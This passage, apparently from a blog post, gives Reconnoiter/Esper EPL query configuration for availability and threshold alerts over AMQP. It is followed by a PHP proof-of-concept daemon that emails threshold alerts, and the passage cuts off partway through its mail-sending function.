&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;epl&gt;create window CheckDetails.std:unique(uuid).win:keepall() as NoitCheck&lt;/epl&gt;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;/statement&gt;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;statement id=&quot;76598f5e-7f9c-11de-9f5b-ebb4dcb2494e&quot; provides=&quot;CheckDetails&quot;&gt;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;requires&gt;CheckDetails-ddl&lt;/requires&gt;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;epl&gt;insert into CheckDetails select * from NoitCheck&lt;/epl&gt;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;/statement&gt;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;!-- 
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Create a stream of checks that are unvailable (noitd tried to gather data and the 
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;target didn&#039;t respond) 
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; --&gt;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;statement id=&quot;ba189f08-7f99-11de-9013-733772d37479&quot; provides=&quot;UnavailableStream&quot;&gt;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;requires&gt;CheckDetails&lt;/requires&gt;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;epl&gt;insert into UnavailableStream
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; select p.* as delta, cds.target as target, cds.module as module,
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;cds.name as name, p.s.uuid as uuid
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; from pattern [ every
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;s=NoitStatus(availability=&#039;A&#039;) -&gt;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;( n0 = NoitStatus(uuid=s.uuid, availability=&#039;U&#039;)
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;and not NoitStatus(uuid=s.uuid, availability=&#039;A&#039;))
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;].std:lastevent() as p
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; inner join CheckDetails as cds on cds.uuid = p.s.uuid
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;/epl&gt;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;/statement&gt;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;!-- 
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Create a stream of alerts on the noit.alerts.status AMQP topic of the 
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;noit.alerts exchange. 
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;--&gt;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;query id=&quot;ce6bf8d2-3dd7-11de-a45c-a7df160cba9e&quot; topic=&quot;status&quot;&gt;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;epl&gt;select * from NoitStatus&lt;/epl&gt;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;/query&gt;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;!-- 
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Emit the unavailable metrics on the noit.alerts.unvailable AMQP 
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;topic of the noit.alerts exchange 
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;--&gt;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;query id=&quot;f4329df0-89a7-4299-ba0d-23caa51213ef&quot; topic=&quot;unavailable&quot;&gt;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;requires&gt;UnvailableStream&lt;/requires&gt;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;epl&gt;select * from UnavailableStream&lt;/epl&gt;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;/query&gt;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;!-- 
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; The following query will emit when a metric hasn&#039;t been seen in 5 minutes. 
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; This is a bit of a big hammer, it&#039;s probably better to have queries specific to certain 
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; metrics rather than complaining about everything at once. Also, it won&#039;t start 
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; emitting until it&#039;s seen a metric at least once. I think. It will push messages 
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; into the noit.alerts.out_to_lunch AMQP topic on the noit.alert exchange
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;--&gt;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;query id=&quot;a4d8d60b-b6c9-473d-87a8-af54554ee05e&quot; topic=&quot;out_to_lunch&quot;&gt;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;epl&gt;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; select * from NoitMetricNumeric.std:groupwin(uuid,name).win:time(5 minutes).std:lastevent().std:size() 
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; where size = 0 group by uuid, name
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;/epl&gt;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;/query&gt;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;!-- 
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;This next statements start populating a window with data for a check with the uuid 
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;1b4e28ba-2fa1-11d2-883f-b9b761bde3fb and looks at the metric average determining the
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;state on each check.
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;--&gt;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;statement id=&quot;514d88d5-2212-42a8-bfdf-4d4fb4c148f1&quot;&gt;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;epl&gt; 
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;insert into ThresholdChange 
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;select *, case when value &gt; 0.000821 then &#039;bad&#039; else &#039;good&#039; end as status from 
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;NoitMetricNumeric(uuid=&#039;1b4e28ba-2fa1-11d2-883f-b9b761bde3fb&#039;,name=&#039;average&#039;)
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;/epl&gt;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;/statement&gt;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;!-- The following query will trigger on each state change for the watched metrics --&gt;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;query id=&quot;64368493-e8da-4ec6-925b-41616b49484b&quot; topic=&quot;threshold&quot;&gt;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;epl&gt;&lt;![CDATA[
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;select tc.name as metric,tc.uuid as uuid,tc.noit as noit,tc.time as time,tc.value as value,
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;tc.status as status,cds.name as check,cds.module as module,cds.prefix as prefix,
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;cds.target as target from ThresholdChange.std:groupwin(uuid,name).win:length(2) tc, 
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;CheckDetails cds where cds.uuid = tc.uuid and tc.status &lt;&gt; prev(tc.status)]]&gt;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ]]&gt;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;/epl&gt;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;/query&gt;
&nbsp;&nbsp;&nbsp;&nbsp;&lt;/queries&gt;
</code></pre></p>
<p>I&#8217;ll keep updating this page as I figure out how to get the various pieces glued together. Cheers!</p>
<p>Update: Here&#8217;s a simple threshold alerting daemon that listens for AMQP events and emails when they occur. It&#8217;s a quick hack proof of concept. Certainly by no stretch production ready, but it does work.</p>
<p><pre><code class=prettyprint>

&lt;?php
require_once &quot;Mail.php&quot;;
$recon = new Reconnoiter_Threshold_Alerting_Service();
$recon-&gt;runServer();

class Reconnoiter_Threshold_Alerting_Service
{
&nbsp;&nbsp;private $_config = array();
&nbsp;&nbsp;private $_status = array();
&nbsp;&nbsp;private $_alerts = array();
&nbsp;&nbsp;private $_amqp;
&nbsp;&nbsp;private $_queue;

&nbsp;&nbsp;public function __construct()
&nbsp;&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp; $this-&gt;_config = json_decode(file_get_contents(&#039;config.json&#039;), true);
&nbsp;&nbsp;&nbsp;&nbsp; $this-&gt;_amqp = new AMQPConnection(
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;array(
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#039;host&#039; =&gt; $this-&gt;_config[&#039;amqp&#039;][&#039;host&#039;], 
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#039;vhost&#039; =&gt; $this-&gt;_config[&#039;amqp&#039;][&#039;vhost&#039;], 
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#039;port&#039; =&gt; $this-&gt;_config[&#039;amqp&#039;][&#039;port&#039;], 
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#039;login&#039; =&gt; $this-&gt;_config[&#039;amqp&#039;][&#039;login&#039;], 
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#039;password&#039; =&gt; $this-&gt;_config[&#039;amqp&#039;][&#039;password&#039;]
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;)
&nbsp;&nbsp;&nbsp;&nbsp; );
&nbsp;&nbsp;&nbsp;&nbsp; $this-&gt;_amqp-&gt;connect();
&nbsp;&nbsp;&nbsp;&nbsp; $this-&gt;_queue = new AMQPQueue($this-&gt;_amqp);
&nbsp;&nbsp;&nbsp;&nbsp; $this-&gt;_queue-&gt;declare($this-&gt;_config[&#039;amqp&#039;][&#039;queue&#039;]);
&nbsp;&nbsp;&nbsp;&nbsp; $this-&gt;_queue-&gt;bind(
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$this-&gt;_config[&#039;amqp&#039;][&#039;exchange&#039;], 
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$this-&gt;_config[&#039;amqp&#039;][&#039;routing_key&#039;]
&nbsp;&nbsp;&nbsp;&nbsp; );
&nbsp;&nbsp;}

&nbsp;&nbsp;public function runServer()
&nbsp;&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;do {
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$msg = null;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$msg = $this-&gt;_queue-&gt;get();
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if ($msg[&#039;count&#039;] !== -1) {
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//echo &quot;Reveived message\n&quot;;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$payload = json_decode($msg[&#039;msg&#039;],true);
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$payload = $payload[&#039;threshold&#039;];
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if ($payload) {
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if (isset($this-&gt;_config[&#039;checks&#039;][$payload[&#039;uuid&#039;]][$payload[&#039;metric&#039;]])) {
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$this-&gt;_status[$payload[&#039;uuid&#039;]][$payload[&#039;metric&#039;]] = $payload;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;} else {
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//echo &quot;No message, checking status\n&quot;;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$this-&gt;_checkStatus();
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}
&nbsp;&nbsp;&nbsp;&nbsp;} while ($msg[&#039;count&#039;] !== -1 || sleep(1) === 0);
&nbsp;&nbsp;}

&nbsp;&nbsp;private function _checkStatus()
&nbsp;&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;foreach ($this-&gt;_status as $uuid =&gt; $metrics) {
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;foreach ($metrics as $metric =&gt; $data) {
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if ($data[&#039;status&#039;] !== &#039;OK&#039;) { // In bad state
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//echo &quot;Status $uuid not OK!\n&quot;;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$time = time();
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if (isset($this-&gt;_alerts[$uuid][$metric])) { 
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;// Already in bad state
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if (
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;($time - $this-&gt;_alerts[$uuid][$metric][&#039;initial_alert&#039;]) &gt; 
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$this-&gt;_config[&#039;checks&#039;][$uuid][$metric][&#039;grace_period&#039;]
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;) { 
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;// Over grace period
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if (
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;!isset($this-&gt;_alerts[$uuid][$metric][&#039;last_alert&#039;]) || 
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;($time - $this-&gt;_alerts[$uuid][$metric][&#039;last_alert&#039;]) &gt; 
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$this-&gt;_config[&#039;global&#039;][&#039;alert_freq&#039;]
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;) { 
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;// Hit alert frequency
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//echo &quot;Sending alert for $uuid $metric\n&quot;;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$this-&gt;_alerts[$uuid][$metric][&#039;sent_alert&#039;] = true;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$this-&gt;_sendAlert($uuid, $metric);
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$this-&gt;_alerts[$uuid][$metric][&#039;last_alert&#039;] = $time;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;} else {
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//echo &quot;Not sending alert yet for $uuid $metric haven&#039;t hit alert frequency timeout yet\n&quot;;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;} else {
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//echo &quot;Switch to bad state for $uuid $metric\n&quot;;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$this-&gt;_alerts[$uuid][$metric][&#039;sent_alert&#039;] = false;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$this-&gt;_alerts[$uuid][$metric][&#039;initial_alert&#039;] = $time;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;} else { // Recovery
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//echo &quot;Status $uuid OK!\n&quot;;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if (
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;isset($this-&gt;_alerts[$uuid][$metric]) &amp;&amp; $this-&gt;_alerts[$uuid][$metric][&#039;sent_alert&#039;]
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;) {
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//echo &quot;Recovery for $uuid $metric\n&quot;;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$this-&gt;_sendAlert($uuid, $metric); // Recovery...
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;unset($this-&gt;_alerts[$uuid][$metric]);
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}
&nbsp;&nbsp;&nbsp;&nbsp;}
&nbsp;&nbsp;&nbsp;&nbsp;return true;
&nbsp;&nbsp;}

&nbsp;&nbsp;private function _sendAlert($uuid, $metric)
&nbsp;&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;$data = $this-&gt;_status[$uuid][$metric];
&nbsp;&nbsp;&nbsp;&nbsp;$data[&#039;description&#039;] = $this-&gt;_config[&#039;checks&#039;][$uuid][$metric][&#039;description&#039;];
&nbsp;&nbsp;&nbsp;&nbsp;$from = $this-&gt;_config[&#039;smtp&#039;][&#039;from&#039;];
&nbsp;&nbsp;&nbsp;&nbsp;$to = implode($this-&gt;_config[&#039;global&#039;][&#039;contacts&#039;],&quot;,&quot;);
&nbsp;&nbsp;&nbsp;&nbsp;$subject = sprintf(
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;ReConThreshold: %s:%s:%s:%s:%s&quot;, 
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$data[&#039;target&#039;], 
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$data[&#039;module&#039;], 
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$data[&#039;check&#039;], 
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$metric, $data[&#039;status&#039;]
&nbsp;&nbsp;&nbsp;&nbsp;);
&nbsp;&nbsp;&nbsp;&nbsp;$body = print_r($data, true);
&nbsp;&nbsp;&nbsp;&nbsp;$host = $this-&gt;_config[&#039;smtp&#039;][&#039;host&#039;];
&nbsp;&nbsp;&nbsp;&nbsp;$port = $this-&gt;_config[&#039;smtp&#039;][&#039;port&#039;];
&nbsp;&nbsp;&nbsp;&nbsp;$username = $this-&gt;_config[&#039;smtp&#039;][&#039;username&#039;];
&nbsp;&nbsp;&nbsp;&nbsp;$password = $this-&gt;_config[&#039;smtp&#039;][&#039;password&#039;];
&nbsp;&nbsp;&nbsp;&nbsp;$headers = array(&#039;From&#039; =&gt; $from,&#039;To&#039; =&gt; $to,&#039;Subject&#039; =&gt; $subject);
&nbsp;&nbsp;&nbsp;&nbsp;$smtp = Mail::factory(
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#039;smtp&#039;,
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;array(
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#039;host&#039; =&gt; $host,
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#039;port&#039; =&gt; $port,
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#039;auth&#039; =&gt; true,
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#039;username&#039; =&gt; $username,
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#039;password&#039; =&gt; $password
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;)
&nbsp;&nbsp;&nbsp;&nbsp;);
